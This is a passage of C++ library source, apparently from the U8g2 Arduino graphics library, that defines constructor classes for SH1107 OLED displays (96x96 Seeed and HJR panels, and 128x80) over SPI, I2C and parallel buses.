U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_6800 : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_8080 : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_SEEED_96X96_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_SEEED_96X96_2_6800 : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_2_8080 : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_6800 : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_8080 : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_SEEED_96X96_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_SEEED_96X96_F_6800 : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_F_8080 : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_6800 : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_8080 : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_1_SW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_SEEED_96X96_1_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_SEEED_96X96_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_SW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_HW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_SEEED_96X96_2_SW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_SEEED_96X96_2_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_SEEED_96X96_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_SW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_HW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_SEEED_96X96_F_SW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_SEEED_96X96_F_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_SEEED_96X96_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_96X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_SW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_HW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_128X80_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X80_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_128X80_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X80_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); 